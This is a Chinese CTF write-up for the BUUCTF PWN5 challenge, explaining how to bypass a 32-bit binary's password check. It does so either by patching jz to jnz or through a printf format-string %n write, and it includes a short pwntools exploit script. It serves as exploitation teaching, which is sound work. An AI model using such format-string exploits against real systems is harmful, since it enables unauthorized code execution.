buuctf之[第五空间2019 决赛]PWN5

一、查看属性

首先还是必要的查看属性环节:

可以知道该文件是一个x86架构下的32位小段ELF程序,开启了栈不可执行(NX)保护和canary,ret2shellcode是不行的,正常的栈溢出也不行,要不就是格式化字符串,要不就是想办法绕过canary,这就比较麻烦了

执行一下是需要我们输入用户名密码

二、静态分析

放到ida中看看主函数主要是生成了一个随机数放在0x804c044位置,然后读取名称和密码,用密码和那个随机数比较,匹配成功输出“ok!!”并执行system("/bin/sh"),匹配失败输出“fail”

这样的话就用两个解题思路,栈溢出应该是没什么戏,但是可以用到printf的格式化字符串漏洞。毕竟它把我们的输入放在printf中又输出了一遍,或者就是既然是判断导致的有一条分支可能执行目标函数,那就直接修改源程序把判断取反来爆破(只适用于本地)

三、题解

1、爆破法:

可见是这里的“jz”指令使得程序有了左右两个分支,当我们随意输入使得条件判断不成功时,它会走左边输出“fail”,我们只需要修改“jz”为“jnz”就让程序在输入错误时走右边执行system函数

Edit->keypatch->patcher

Edit->Patch program -> apply patches to inputc file

修改后程序:

执行结果:成功!!!

2、格式化字符串漏洞

对于格式化字符串来解这个题就是找到我们的输入在栈空间中的位置,然后使用printf函数的%n功能向指定的地址空间写入我们可以控制的密码,然后输入密码使判断通过从而执行system

对于printf函数,我们举一个简单的例子,printf(“1234%3$n”)时就是将“4”写入了1234这个地址空间中

我们使用下面的exp尝试一下:

可见输出中在esp后第十个位置是printf可以控制的第一个栈地址空间,“aaaa”写入了那里

于是有下面代码:

from pwn import *

io = process('./pwn')

#io = gdb.debug('./pwn','break *0x8049288')

unk_addr = 0x804c044

payload = p32(unk_addr) + b'%10$n'

io.sendline(payload)

io.interactive()

运行:成功!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值